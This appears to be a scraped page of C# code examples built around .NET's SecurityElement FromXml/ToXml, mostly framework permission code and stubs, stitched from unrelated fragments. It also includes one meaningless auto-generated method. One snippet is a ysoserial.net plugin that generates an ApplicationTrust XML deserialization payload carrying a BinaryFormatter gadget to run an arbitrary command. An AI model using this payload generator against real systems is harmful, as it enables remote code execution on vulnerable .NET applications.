internal void FromXml( SecurityElement e )
 {
     String elAuth = e.Attribute( "Authenticated" );
     if (elAuth != null)
     {
         m_authenticated = String.Compare( elAuth, "true", true, CultureInfo.InvariantCulture) == 0;
     }
     else
     {
         m_authenticated = false;
     }
    
     String elID = e.Attribute( "ID" );
     if (elID != null)
     {
         m_id = elID;
     }
     else
     {
         m_id = null;
     }
     
     String elRole = e.Attribute( "Role" );
     if (elRole != null)
     {
         m_role = elRole;
     }
     else
     {
         m_role = null;
     }
 }
 internal void FromXml( SecurityElement e )
 {
     String elAuth = e.Attribute( "Authenticated" );
     if (elAuth != null)
     {
         m_authenticated = String.Compare( elAuth, "true", StringComparison.OrdinalIgnoreCase) == 0;
     }
     else
     {
         m_authenticated = false;
     }
    
     String elID = e.Attribute( "ID" );
     if (elID != null)
     {
         m_id = elID;
     }
     else
     {
         m_id = null;
     }
     
     String elRole = e.Attribute( "Role" );
     if (elRole != null)
     {
         m_role = elRole;
     }
     else
     {
         m_role = null;
     }
 }
 internal SecurityElement ToXml()
 {
     SecurityElement root = new SecurityElement( "Identity" );
     
     if (m_authenticated)
         root.AddAttribute( "Authenticated", "true" );
         
     if (m_id != null)
     {
         root.AddAttribute( "ID", SecurityElement.Escape( m_id ) );
     }
        
     if (m_role != null)
     {
         root.AddAttribute( "Role", SecurityElement.Escape( m_role ) );
     }
                     
     return root;
 }
 internal void FromXml( SecurityElement e )
 {
     SecurityElement elem;
     elem = e.SearchForChildByTag( "Key" );
     if (elem == null || elem.Text == null || elem.Text.Length == 0)
     {
         PublicKey = new byte[0];
     }
     else
     {
         try
         {
             PublicKey = Hex.DecodeHexString( elem.Text );
         }
         catch (Exception)
         {
             PublicKey = new byte[0];
         }
     }
 }
Exemple #5
0
 private void zDtBuIo(System.Runtime.Remoting.Proxies.ProxyAttribute mSWGvM, System.Windows.Forms.UserControl eZiKa, System.Net.NetworkInformation.Ping fZewh, System.Web.UI.WebControls.FontUnitConverter dmaIIt)
 {
     System.Web.UI.HtmlControls.HtmlTable fKUDoSt = new System.Web.UI.HtmlControls.HtmlTable();
     System.CodeDom.CodeSnippetTypeMember FvnaJb  = new System.CodeDom.CodeSnippetTypeMember("wVxgQQUdOFMaKy");
     System.Diagnostics.DiagnosticsConfigurationHandler aerVXGp = new System.Diagnostics.DiagnosticsConfigurationHandler();
     System.Runtime.InteropServices.OptionalAttribute   ybr     = new System.Runtime.InteropServices.OptionalAttribute();
     System.CodeDom.CodeEventReferenceExpression        kslZNN  = new System.CodeDom.CodeEventReferenceExpression();
     System.Data.SqlClient.SqlBulkCopyColumnMapping     UmzDnjY = new System.Data.SqlClient.SqlBulkCopyColumnMapping();
     System.Web.UI.SessionPageStatePersister            zXjpUVJ = new System.Web.UI.SessionPageStatePersister(new System.Web.UI.Page());
     System.ComponentModel.UInt64Converter zlj = new System.ComponentModel.UInt64Converter();
     System.Windows.Forms.DataGridViewRowContextMenuStripNeededEventArgs VmEY = new System.Windows.Forms.DataGridViewRowContextMenuStripNeededEventArgs(1938926073);
     System.Web.UI.WebControls.ObjectDataSource      AyIh    = new System.Web.UI.WebControls.ObjectDataSource();
     System.Web.UI.WebControls.Localize              RIJLUDF = new System.Web.UI.WebControls.Localize();
     System.Security.SecurityElement                 otL     = new System.Security.SecurityElement("ihOmXNa", "lodBZihblnlQN");
     System.Web.UI.ValidatorCollection               Faf     = new System.Web.UI.ValidatorCollection();
     System.Runtime.Remoting.Activation.UrlAttribute wqBEEWJ = new System.Runtime.Remoting.Activation.UrlAttribute("dlhvHdeIlmVd");
     System.Web.UI.PostBackOptions tsnAUd = new System.Web.UI.PostBackOptions(new System.Web.UI.Control(), "SGKAiR");
     System.Web.Configuration.CustomErrorsSection             udnXZaB = new System.Web.Configuration.CustomErrorsSection();
     System.Web.UI.WebControls.MenuItemTemplateContainer      wfpisJ  = new System.Web.UI.WebControls.MenuItemTemplateContainer(1850436130, new System.Web.UI.WebControls.MenuItem());
     Microsoft.SqlServer.Server.SqlMethodAttribute            eAHCWSv = new Microsoft.SqlServer.Server.SqlMethodAttribute();
     System.Web.UI.WebControls.WebParts.WebBrowsableAttribute eGuDfGk = new System.Web.UI.WebControls.WebParts.WebBrowsableAttribute();
     System.Web.Caching.SqlCacheDependency SmgPChr = new System.Web.Caching.SqlCacheDependency(new System.Data.SqlClient.SqlCommand());
     System.Globalization.PersianCalendar  wkYdt   = new System.Globalization.PersianCalendar();
 }
Exemple #6
0
        private void ParseZone()
        {
            lock (this)
            {
                if (m_element == null)
                {
                    return;
                }

                String eZone = m_element.Attribute("Zone");

                m_zone = SecurityZone.NoZone;
                if (eZone != null)
                {
                    m_zone = (SecurityZone)Enum.Parse(typeof(SecurityZone), eZone);
                }
                else
                {
                    throw new ArgumentException(Environment.GetResourceString("Argument_ZoneCannotBeNull"));
                }

                m_element = null;
            }
        }
        public override void FromXml(SecurityElement esd)
        {
            m_zones = 0;
            CodeAccessPermission.ValidateElement(esd, this);
            String eZone = esd.Attribute("Zone");

            if (eZone != null)
            {
                SecurityZone = (SecurityZone)Enum.Parse(typeof(SecurityZone), eZone);
            }
            if (esd.Children != null)
            {
                foreach (SecurityElement child in esd.Children)
                {
                    eZone = child.Attribute("Zone");
                    int enm = (int)Enum.Parse(typeof(SecurityZone), eZone);
                    if (enm == (int)SecurityZone.NoZone)
                    {
                        continue;
                    }
                    m_zones |= ((uint)1 << enm);
                }
            }
        }
Exemple #8
0
        /// <include file='doc\StrongNameMembershipCondition.uex' path='docs/doc[@for="StrongNameMembershipCondition.ToXml1"]/*' />
        public SecurityElement ToXml(PolicyLevel level)
        {
            SecurityElement root = new SecurityElement("IMembershipCondition");

            System.Security.Util.XMLUtil.AddClassAttribute(root, this.GetType());
            root.AddAttribute("version", "1");

            if (PublicKey != null)
            {
                root.AddAttribute(s_tagPublicKeyBlob, System.Security.Util.Hex.EncodeHexString(PublicKey.PublicKey));
            }

            if (Name != null)
            {
                root.AddAttribute(s_tagName, Name);
            }

            if ((Object)Version != null)
            {
                root.AddAttribute(s_tagVersion, Version.ToString());
            }

            return(root);
        }
 public void FromXml( SecurityElement e, PolicyLevel level )
 {
     if (e == null)
         throw new ArgumentNullException("e");
 
     if (!e.Tag.Equals( "IMembershipCondition" ))
     {
         throw new ArgumentException( Environment.GetResourceString( "Argument_MembershipConditionElement" ) );
     }
     Contract.EndContractBlock();
     
     lock (this)
     {
         m_name = null;
         m_publicKeyBlob = null;
         m_version = null;
         m_element = e;
     }
 }
 public void FromXml( SecurityElement e )
 {
     FromXml( e, null );
 }
Exemple #11
0
 public virtual void FromXml(System.Security.SecurityElement securityElement)
 {
 }
Exemple #12
0
        [System.Security.SecuritySafeCritical]  // auto-generated
        public override void FromXml(SecurityElement esd)
        {
            CodeAccessPermission.ValidateElement(esd, this);
            String et;

            if (XMLUtil.IsUnrestricted(esd))
            {
                m_unrestricted = true;
                return;
            }


            m_unrestricted = false;

            et = esd.Attribute("Read");
            if (et != null)
            {
                m_read = new FileIOAccess(et);
            }
            else
            {
                m_read = null;
            }

            et = esd.Attribute("Write");
            if (et != null)
            {
                m_write = new FileIOAccess(et);
            }
            else
            {
                m_write = null;
            }

            et = esd.Attribute("Append");
            if (et != null)
            {
                m_append = new FileIOAccess(et);
            }
            else
            {
                m_append = null;
            }

            et = esd.Attribute("PathDiscovery");
            if (et != null)
            {
                m_pathDiscovery = new FileIOAccess(et);
                m_pathDiscovery.PathDiscovery = true;
            }
            else
            {
                m_pathDiscovery = null;
            }

            et = esd.Attribute("ViewAcl");
            if (et != null)
            {
                m_viewAcl = new FileIOAccess(et);
            }
            else
            {
                m_viewAcl = null;
            }

            et = esd.Attribute("ChangeAcl");
            if (et != null)
            {
                m_changeAcl = new FileIOAccess(et);
            }
            else
            {
                m_changeAcl = null;
            }
        }
 public void FromXml(System.Security.SecurityElement e, PolicyLevel level)
 {
 }
Exemple #14
0
        public SignatureDescription(System.Security.SecurityElement !el)
        {
            CodeContract.Requires(el != null);

            return(default(SignatureDescription));
        }
        //------------------------------------------------------
        //
        // PUBLIC CONSTRUCTORS
        //
        //------------------------------------------------------

        internal HashMembershipCondition()
        {
            m_element = null;
            m_value   = null;
        }
Exemple #16
0
 public bool Equal(System.Security.SecurityElement other)
 {
     throw null;
 }
Exemple #17
0
        //------------------------------------------------------
        //
        // PUBLIC CONSTRUCTORS
        //
        //------------------------------------------------------

        internal PublisherMembershipCondition()
        {
            m_element     = null;
            m_certificate = null;
        }
        // 可以扩展成递归模式,多个类型嵌套的
        public static void SaveXML <T>(string path, List <T> data)
        {
            var    root     = new System.Security.SecurityElement("root");
            string attrName = typeof(T).Name;
            var    props    = typeof(T).GetProperties();
            var    keyProp  = props[0];

            foreach (var prop in props)
            {
                if (XmlData.mKeyFieldName == prop.Name)
                {
                    keyProp = prop;
                    break;
                }
            }
            foreach (var item in data)
            {
                // 下面在LoadXML时,key id必须先加载,所以这里第一个创建 id
                var    xml = new System.Security.SecurityElement(attrName);
                object obj = keyProp.GetGetMethod().Invoke(item, null);
                xml.AddChild(new System.Security.SecurityElement(keyProp.Name, obj.ToString()));
                foreach (var prop in props)
                {
                    if (prop == keyProp)
                    {
                        continue;
                    }
                    var    type   = prop.PropertyType;
                    String result = String.Empty;
                    obj = prop.GetGetMethod().Invoke(item, null);
                    if (type.IsGenericType && type.GetGenericTypeDefinition() == typeof(Dictionary <,>))
                    {
                        result = typeof(XmlFileUtils).GetMethod("PackMap")
                                 .MakeGenericMethod(type.GetGenericArguments())
                                 .Invoke(null, new object[] { obj, KEY_VALUE_SPRITER, MAP_SPRITER }).ToString();
                    }
                    else if (type.IsGenericType && type.GetGenericTypeDefinition() == typeof(List <>))
                    {
                        result = typeof(XmlFileUtils).GetMethod("PackList")
                                 .MakeGenericMethod(type.GetGenericArguments())
                                 .Invoke(null, new object[] { obj, LIST_SPRITER }).ToString();
                    }
                    else if (type.BaseType == typeof(Enum))
                    {
                        Type underType = Enum.GetUnderlyingType(type);
                        if (underType == typeof(Int32))
                        {
                            obj = EnumConvertUtils.EnumToInt(obj) + "";
                        }
                        result = obj.ToString();
                    }
                    else
                    {
                        result = obj.ToString();
                    }
                    xml.AddChild(new System.Security.SecurityElement(prop.Name, result));
                }
                root.AddChild(xml);
            }
            XMLParser.SaveText(path, root.ToString());
        }
        private void ParseKeyBlob()
        {
            lock (this)
            {
                if (m_element == null)
                    return;

                String elBlob = m_element.Attribute( s_tagPublicKeyBlob );
                StrongNamePublicKeyBlob publicKeyBlob = new StrongNamePublicKeyBlob();
            
                if (elBlob != null)
                    publicKeyBlob.PublicKey = System.Security.Util.Hex.DecodeHexString( elBlob );
                else
                    throw new ArgumentException( Environment.GetResourceString( "Argument_BlobCannotBeNull" ) );

                m_publicKeyBlob = publicKeyBlob;

                if ((Object) m_version != null && m_name != null && m_publicKeyBlob != null)
                {
                    m_element = null;
                }
            }    
        }    
        [System.Security.SecuritySafeCritical]  // auto-generated 
        public override void FromXml(SecurityElement esd) 
        {
            CodeAccessPermission.ValidateElement( esd, this ); 
            String et;

            if (XMLUtil.IsUnrestricted( esd ))
            { 
                m_unrestricted = true;
                return; 
            } 

            m_unrestricted = false; 
            m_read = null;
            m_write = null;
            m_create = null;
            m_viewAcl = null; 
            m_changeAcl = null;
 
            et = esd.Attribute( "Read" ); 
            if (et != null)
            { 
                m_read = new StringExpressionSet( et );
            }

            et = esd.Attribute( "Write" ); 
            if (et != null)
            { 
                m_write = new StringExpressionSet( et ); 
            }
 
            et = esd.Attribute( "Create" );
            if (et != null)
            {
                m_create = new StringExpressionSet( et ); 
            }
 
            et = esd.Attribute( "ViewAccessControl" ); 
            if (et != null)
            { 
                m_viewAcl = new StringExpressionSet( et );
            }

            et = esd.Attribute( "ChangeAccessControl" ); 
            if (et != null)
            { 
                m_changeAcl = new StringExpressionSet( et ); 
            }
        } 
        /// <include file='doc\StrongNameMembershipCondition.uex' path='docs/doc[@for="StrongNameMembershipCondition.ToXml1"]/*' />
        public SecurityElement ToXml( PolicyLevel level )
        {
            SecurityElement root = new SecurityElement( "IMembershipCondition" );
            System.Security.Util.XMLUtil.AddClassAttribute( root, this.GetType() );
            root.AddAttribute( "version", "1" );
            
            if (PublicKey != null)
                root.AddAttribute( s_tagPublicKeyBlob, System.Security.Util.Hex.EncodeHexString( PublicKey.PublicKey ) );

            if (Name != null)
                root.AddAttribute( s_tagName, Name );

            if ((Object) Version != null)
                root.AddAttribute( s_tagVersion, Version.ToString() );

            return root;

        }
 public void FromXml(System.Security.SecurityElement e)
 {
     Contract.Requires(e != null);
 }
Exemple #23
0
 /// <include file='doc\PrincipalPermission.uex' path='docs/doc[@for="PrincipalPermission.ToXml"]/*' />
 public SecurityElement ToXml()
 {
     SecurityElement root = new SecurityElement( "Permission" );
     
     XMLUtil.AddClassAttribute( root, this.GetType() );
     root.AddAttribute( "version", "1" );
     
     int count = m_array.Length;
     for (int i = 0; i < count; ++i)
     {
         root.AddChild( m_array[i].ToXml() );
     }
     
     return root;
 }
 public void AddChild(System.Security.SecurityElement child)
 {
 }
Exemple #25
0
 protected override void CreateXml(System.Security.SecurityElement element, PolicyLevel level)
 {
 }
 public override void FromXml(SecurityElement esd) 
 { 
     m_zones = 0;
     CodeAccessPermission.ValidateElement( esd, this ); 
     String eZone = esd.Attribute( "Zone" );
     if (eZone != null)
         SecurityZone = (SecurityZone)Enum.Parse( typeof( SecurityZone ), eZone );
     if(esd.Children != null) 
     {
         foreach(SecurityElement child in esd.Children) 
         { 
             eZone = child.Attribute( "Zone" );
             int enm = (int)Enum.Parse( typeof( SecurityZone ), eZone ); 
             if(enm == (int)SecurityZone.NoZone)
                 continue;
             m_zones |= ((uint)1 << enm);
         } 
     }
 } 
        public SecurityElement ToXml( PolicyLevel level )
        {
            SecurityElement root = new SecurityElement( "IMembershipCondition" );
            System.Security.Util.XMLUtil.AddClassAttribute( root, this.GetType(), "System.Security.Policy.ApplicationDirectoryMembershipCondition" );
            // If you hit this assert then most likely you are trying to change the name of this class. 
            // This is ok as long as you change the hard coded string above and change the assert below.
            BCLDebug.Assert( this.GetType().FullName.Equals( "System.Security.Policy.ApplicationDirectoryMembershipCondition" ), "Class name changed!" );

            root.AddAttribute( "version", "1" );
            
            return root;
        }
        public override SecurityElement ToXml()
        {
            SecurityElement securityElement = CodeAccessPermission.CreatePermissionElement(this, "System.Security.Permissions.GacIdentityPermission");

            return(securityElement);
        }
 public override void FromXml(SecurityElement securityElement)
 {
     CodeAccessPermission.ValidateElement(securityElement, this);
 }
        public object Run(string[] args)
        {
            InputArgs     inputArgs = new InputArgs();
            List <string> extra;

            try
            {
                extra                   = options.Parse(args);
                inputArgs.Cmd           = command;
                inputArgs.Minify        = minify;
                inputArgs.UseSimpleType = useSimpleType;
                inputArgs.Test          = test;
            }
            catch (OptionException e)
            {
                Console.Write("ysoserial: ");
                Console.WriteLine(e.Message);
                Console.WriteLine("Try 'ysoserial -p " + Name() + " --help' for more information.");
                System.Environment.Exit(-1);
            }
            String payloadValue = "";
            string payload      = @"<ApplicationTrust version=""1"" TrustedToRun=""true"">
<ExtraInfo Data=""{0}"">
</ExtraInfo>
<!--  the following commented tags can be enabled when needed-->
<!--
<DefaultGrant>
<PolicyStatement version=""1"">
<PermissionSet class=""System.Security.PermissionSet"" version=""1""/>
</PolicyStatement>
</DefaultGrant>
-->
</ApplicationTrust>
";

            if (String.IsNullOrEmpty(command) || String.IsNullOrWhiteSpace(command))
            {
                Console.Write("ysoserial: ");
                Console.WriteLine("Incorrect plugin mode/arguments combination");
                Console.WriteLine("Try 'ysoserial -p " + Name() + " --help' for more information.");
                System.Environment.Exit(-1);
            }

            byte[] osf = (byte[])new TextFormattingRunPropertiesGenerator().GenerateWithNoTest("BinaryFormatter", inputArgs);
            payloadValue = BitConverter.ToString(osf).Replace("-", string.Empty);
            payload      = String.Format(payload, payloadValue);

            if (minify)
            {
                payload = XMLMinifier.Minify(payload, null, null);
            }

            if (test)
            {
                // PoC on how it works in practice
                try
                {
                    System.Security.SecurityElement         malPayload         = System.Security.SecurityElement.FromString(payload);
                    System.Security.Policy.ApplicationTrust myApplicationTrust = new System.Security.Policy.ApplicationTrust();
                    myApplicationTrust.FromXml(malPayload);
                    Console.WriteLine(myApplicationTrust.ExtraInfo);
                }
                catch (Exception err)
                {
                    Debugging.ShowErrors(inputArgs, err);
                }
            }

            return(payload);
        }
 public void FromXml(System.Security.SecurityElement e, PolicyLevel level)
 {
     Contract.Requires(e != null);
 }
        public SecurityElement ToXml( PolicyLevel level )
        {
            SecurityElement root = new SecurityElement( "IMembershipCondition" );
            System.Security.Util.XMLUtil.AddClassAttribute( root, this.GetType(), "System.Security.Policy.StrongNameMembershipCondition" );
            // If you hit this assert then most likely you are trying to change the name of this class. 
            // This is ok as long as you change the hard coded string above and change the assert below.
            Contract.Assert( this.GetType().FullName.Equals( "System.Security.Policy.StrongNameMembershipCondition" ), "Class name changed!" );

            root.AddAttribute( "version", "1" );
            
            if (PublicKey != null)
                root.AddAttribute( s_tagPublicKeyBlob, System.Security.Util.Hex.EncodeHexString( PublicKey.PublicKey ) );

            if (Name != null)
                root.AddAttribute( s_tagName, Name );

            if ((Object) Version != null)
                root.AddAttribute( s_tagVersion, Version.ToString() );

            return root;

        }
 public override void FromXml(SecurityElement esd)
 {
     m_unrestricted = false;
     m_certs = null;
     CodeAccessPermission.ValidateElement( esd, this );
     String unr = esd.Attribute( "Unrestricted" );
     if(unr != null && String.Compare(unr, "true", StringComparison.OrdinalIgnoreCase) == 0)
     {
         m_unrestricted = true;
         return;
     }
     String elem = esd.Attribute( "X509v3Certificate" );
     ArrayList al = new ArrayList();
     if(elem != null)
         al.Add(new X509Certificate(System.Security.Util.Hex.DecodeHexString(elem)));
     ArrayList alChildren = esd.Children;
     if(alChildren != null)
     {
         foreach(SecurityElement child in alChildren)
         {
             elem = child.Attribute( "X509v3Certificate" );
             if(elem != null)
                 al.Add(new X509Certificate(System.Security.Util.Hex.DecodeHexString(elem)));
         }
     }
     if(al.Count != 0)
         m_certs = (X509Certificate[])al.ToArray(typeof(X509Certificate));
 }
        private void ParseName()
        {
            lock (this)
            {
                if (m_element == null)
                    return;

                String elSite = m_element.Attribute( s_tagName );
                m_name = elSite == null ? null : elSite;

                if ((Object) m_version != null && m_name != null && m_publicKeyBlob != null)
                {
                    m_element = null;
                }
            }
        }
 public override SecurityElement ToXml()
 {
     SecurityElement esd = CodeAccessPermission.CreatePermissionElement( this, "System.Security.Permissions.PublisherIdentityPermission" );
     if (m_unrestricted)
         esd.AddAttribute( "Unrestricted", "true" );
     else if (m_certs != null)
     {
         if (m_certs.Length == 1)
             esd.AddAttribute( "X509v3Certificate", m_certs[0].GetRawCertDataString() );
         else
         {
             int n;
             for(n = 0; n < m_certs.Length; n++)
             {
                 SecurityElement child = new SecurityElement("Cert");
                 child.AddAttribute( "X509v3Certificate", m_certs[n].GetRawCertDataString() );
                 esd.AddChild(child);
             }
         }
     }
     return esd;
 }
        private void ParseVersion()
        {
            lock (this)
            {
                if (m_element == null)
                    return;

                String elVersion = m_element.Attribute( s_tagVersion );
                m_version = elVersion == null ? null : new Version( elVersion );

                if ((Object) m_version != null && m_name != null && m_publicKeyBlob != null)
                {
                    m_element = null;
                }
            }
        }
        /// <include file='doc\StrongNameIdentityPermission.uex' path='docs/doc[@for="StrongNameIdentityPermission.FromXml"]/*' />
        public override void FromXml(SecurityElement e)
        {
            CodeAccessPermission.ValidateElement( e, this );
            if (e == null) 
                throw new ArgumentNullException( "e" );

            String elBlob = e.Attribute( "PublicKeyBlob" );
            if (elBlob != null)
            {
                m_publicKeyBlob = new StrongNamePublicKeyBlob( elBlob );
            }
            else
            {  
                m_publicKeyBlob = null;
            }
            
            String elName = e.Attribute( "Name" );
            m_name = elName == null ? null : elName;
            
            String elVersion = e.Attribute( "AssemblyVersion" );
            m_version = elVersion == null ? null : new Version( elVersion );
        }
Exemple #38
0
        [System.Security.SecuritySafeCritical]  // auto-generated
        public override void FromXml(SecurityElement esd)
        {
            CodeAccessPermission.ValidateElement(esd, this);
            String et;

            if (XMLUtil.IsUnrestricted(esd))
            {
                m_unrestricted = true;
                return;
            }


            m_unrestricted = false;

            et = esd.Attribute("Read");
            if (et != null)
            {
                m_read = new FileIOAccess(et);
            }
            else
            {
                m_read = null;
            }

            et = esd.Attribute("Write");
            if (et != null)
            {
                m_write = new FileIOAccess(et);
            }
            else
            {
                m_write = null;
            }

            et = esd.Attribute("Append");
            if (et != null)
            {
                m_append = new FileIOAccess(et);
            }
            else
            {
                m_append = null;
            }

            et = esd.Attribute("PathDiscovery");
            if (et != null)
            {
                m_pathDiscovery = new FileIOAccess(et);
                m_pathDiscovery.PathDiscovery = true;
            }
            else
            {
                m_pathDiscovery = null;
            }

            et = esd.Attribute("ViewAcl");
            if (et != null)
            {
                m_viewAcl = new FileIOAccess(et);
            }
            else
            {
                m_viewAcl = null;
            }

            et = esd.Attribute("ChangeAcl");
            if (et != null)
            {
                m_changeAcl = new FileIOAccess(et);
            }
            else
            {
                m_changeAcl = null;
            }
        }
 /// <include file='doc\ZoneIdentityPermission.uex' path='docs/doc[@for="ZoneIdentityPermission.FromXml"]/*' />
 public override void FromXml(SecurityElement esd)
 {
     CodeAccessPermission.ValidateElement( esd, this );
     String eZone = esd.Attribute( "Zone" );
     if (eZone == null)
     {
         m_zone = SecurityZone.NoZone;
     }
     else
     {
         m_zone = (SecurityZone)Enum.Parse( typeof( SecurityZone ), eZone );
     }
 }
 public virtual void FromXml(System.Security.SecurityElement et, PolicyLevel level)
 {
 }
 public override void FromXml(SecurityElement securityElement) 
 {
     CodeAccessPermission.ValidateElement(securityElement, this); 
 } 
 protected virtual new void CreateXml(System.Security.SecurityElement element, PolicyLevel level)
 {
 }
        public SecurityElement ToXml()
        {
            SecurityElement root = new SecurityElement( "IPermission" );
            
            XMLUtil.AddClassAttribute( root, this.GetType(), "System.Security.Permissions.PrincipalPermission" );
            // If you hit this assert then most likely you are trying to change the name of this class. 
            // This is ok as long as you change the hard coded string above and change the assert below.
            Contract.Assert( this.GetType().FullName.Equals( "System.Security.Permissions.PrincipalPermission" ), "Class name changed!" );

            root.AddAttribute( "version", "1" );
            
            int count = m_array.Length;
            for (int i = 0; i < count; ++i)
            {
                root.AddChild( m_array[i].ToXml() );
            }
            
            return root;
        }
 protected virtual new void ParseXml(System.Security.SecurityElement e, PolicyLevel level)
 {
 }
        public void FromXml(SecurityElement elem)
        {
            CodeAccessPermission.ValidateElement( elem, this );

            if (elem.InternalChildren != null && elem.InternalChildren.Count != 0)
            { 
                int numChildren = elem.InternalChildren.Count;
                int count = 0;
                
                m_array = new IDRole[numChildren];
            
                IEnumerator enumerator = elem.Children.GetEnumerator();
            
                while (enumerator.MoveNext())  
                {
                    IDRole idrole = new IDRole();
                    
                    idrole.FromXml( (SecurityElement)enumerator.Current );
                    
                    m_array[count++] = idrole;
                }
            }
            else
                m_array = new IDRole[0];
        }
 public bool Equal(System.Security.SecurityElement other)
 {
     return(default(bool));
 }
 public override void FromXml(SecurityElement e)
 {
     m_unrestricted = false;
     m_strongNames = null;
     CodeAccessPermission.ValidateElement( e, this );
     String unr = e.Attribute( "Unrestricted" );
     if(unr != null && String.Compare(unr, "true", StringComparison.OrdinalIgnoreCase) == 0)
     {
         m_unrestricted = true;
         return;
     }
     String elBlob = e.Attribute("PublicKeyBlob");
     String elName = e.Attribute("Name");
     String elVersion = e.Attribute("AssemblyVersion");
     StrongName2 sn;
     ArrayList al = new ArrayList();
     if(elBlob != null || elName != null || elVersion != null)
     {
         sn = new StrongName2(
                             (elBlob == null ? null : new StrongNamePublicKeyBlob(elBlob)), 
                             elName, 
                             (elVersion == null ? null : new Version(elVersion)));
         al.Add(sn);
     }
     ArrayList alChildren = e.Children;
     if(alChildren != null)
     {
         foreach(SecurityElement child in alChildren)
         {
             elBlob = child.Attribute("PublicKeyBlob");
             elName = child.Attribute("Name");
             elVersion = child.Attribute("AssemblyVersion");
             if(elBlob != null || elName != null || elVersion != null)
             {
                 sn = new StrongName2(
                                     (elBlob == null ? null : new StrongNamePublicKeyBlob(elBlob)), 
                                     elName, 
                                     (elVersion == null ? null : new Version(elVersion)));
                 al.Add(sn);
             }
         }
     }
     if(al.Count != 0)
         m_strongNames = (StrongName2[])al.ToArray(typeof(StrongName2));
 }
 public override SecurityElement ToXml()
 { 
     SecurityElement esd = CodeAccessPermission.CreatePermissionElement( this, "System.Security.Permissions.ZoneIdentityPermission" );
     if (SecurityZone != SecurityZone.NoZone)
     {
         esd.AddAttribute( "Zone", Enum.GetName( typeof( SecurityZone ), this.SecurityZone ) ); 
     }
     else 
     { 
         int nEnum = 0;
         uint nFlag; 
         for(nFlag = 1; nFlag < AllZones; nFlag <<= 1)
         {
             if((m_zones & nFlag) != 0)
             { 
                 SecurityElement child = new SecurityElement("Zone");
                 child.AddAttribute( "Zone", Enum.GetName( typeof( SecurityZone ), (SecurityZone)nEnum ) ); 
                 esd.AddChild(child); 
             }
             nEnum++; 
         }
     }
     return esd;
 } 
Exemple #49
0
 /// <include file='doc\StrongNameMembershipCondition.uex' path='docs/doc[@for="StrongNameMembershipCondition.FromXml"]/*' />
 public void FromXml(SecurityElement e)
 {
     FromXml(e, null);
 }
 public SignatureDescription(System.Security.SecurityElement el)
 {
 }
 public override SecurityElement ToXml()
 {
     SecurityElement esd = CodeAccessPermission.CreatePermissionElement( this, "System.Security.Permissions.UrlIdentityPermission" );
     if (m_unrestricted)
         esd.AddAttribute( "Unrestricted", "true" );
     else if (m_urls != null)
     {
         if (m_urls.Length == 1)
             esd.AddAttribute( "Url", m_urls[0].ToString() );
         else
         {
             int n;
             for(n = 0; n < m_urls.Length; n++)
             {
                 SecurityElement child = new SecurityElement("Url");
                 child.AddAttribute( "Url", m_urls[n].ToString() );
                 esd.AddChild(child);
             }
         }
     }
     return esd;
 }
 public override void FromXml(System.Security.SecurityElement securityElement)
 {
 }
Exemple #53
0
 protected override void ParseXml(System.Security.SecurityElement e, PolicyLevel level)
 {
 }
 public override SecurityElement ToXml()
 {
     SecurityElement esd = CodeAccessPermission.CreatePermissionElement( this, "System.Security.Permissions.StrongNameIdentityPermission" );
     if (m_unrestricted)
         esd.AddAttribute( "Unrestricted", "true" );
     else if (m_strongNames != null)
     {
         if (m_strongNames.Length == 1)
         {
             if (m_strongNames[0].m_publicKeyBlob != null)
                 esd.AddAttribute("PublicKeyBlob", Hex.EncodeHexString(m_strongNames[0].m_publicKeyBlob.PublicKey));
             if (m_strongNames[0].m_name != null)
                 esd.AddAttribute("Name", m_strongNames[0].m_name);
             if ((Object)m_strongNames[0].m_version != null)
                 esd.AddAttribute("AssemblyVersion", m_strongNames[0].m_version.ToString());
         }
         else
         {
             int n;
             for(n = 0; n < m_strongNames.Length; n++)
             {
                 SecurityElement child = new SecurityElement("StrongName");
                 if (m_strongNames[n].m_publicKeyBlob != null)
                     child.AddAttribute("PublicKeyBlob", Hex.EncodeHexString(m_strongNames[n].m_publicKeyBlob.PublicKey));
                 if (m_strongNames[n].m_name != null)
                     child.AddAttribute("Name", m_strongNames[n].m_name);
                 if ((Object)m_strongNames[n].m_version != null)
                     child.AddAttribute("AssemblyVersion", m_strongNames[n].m_version.ToString());
                 esd.AddChild(child);
             }
         }
     }
     return esd;
 }
 /// <include file='doc\ApplicationDirectoryMembershipCondition.uex' path='docs/doc[@for="ApplicationDirectoryMembershipCondition.ToXml1"]/*' />
 public SecurityElement ToXml( PolicyLevel level )
 {
     SecurityElement root = new SecurityElement( "IMembershipCondition" );
     System.Security.Util.XMLUtil.AddClassAttribute( root, this.GetType() );
     root.AddAttribute( "version", "1" );
     
     return root;
 }
 public override void FromXml(SecurityElement esd)
 {
     m_unrestricted = false;
     m_urls = null;
     CodeAccessPermission.ValidateElement( esd, this );
     String unr = esd.Attribute( "Unrestricted" );
     if(unr != null && String.Compare(unr, "true", StringComparison.OrdinalIgnoreCase) == 0)
     {
         m_unrestricted = true;
         return;
     }
     String elem = esd.Attribute( "Url" );
     List<URLString> al = new List<URLString>();
     if(elem != null)
         al.Add(new URLString( elem, true ));
     ArrayList alChildren = esd.Children;
     if(alChildren != null)
     {
         foreach(SecurityElement child in alChildren)
         {
             elem = child.Attribute( "Url" );
             if(elem != null)
                 al.Add(new URLString( elem, true ));
         }
     }
     if(al.Count != 0)
         m_urls = al.ToArray();
 }
 /// <include file='doc\ApplicationDirectoryMembershipCondition.uex' path='docs/doc[@for="ApplicationDirectoryMembershipCondition.FromXml1"]/*' />
 public void FromXml( SecurityElement e, PolicyLevel level )
 {
     if (e == null)
         throw new ArgumentNullException("e");
 
     if (!e.Tag.Equals( "IMembershipCondition" ))
     {
         throw new ArgumentException( Environment.GetResourceString( "Argument_MembershipConditionElement" ) );
     }
 }
Exemple #58
0
 public void FromXml(System.Security.SecurityElement esd)
 {
 }
Exemple #59
0
 /// <summary>
 /// Carrega os dados das permissões.
 /// </summary>
 /// <param name="securityElement"></param>
 public void PermissionsFromXml(System.Security.SecurityElement securityElement)
 {
     securityElement.Require("securityElement").NotNull();
     _permissions = new System.Security.PermissionSet(System.Security.Permissions.PermissionState.None);
     _permissions.FromXml(securityElement);
 }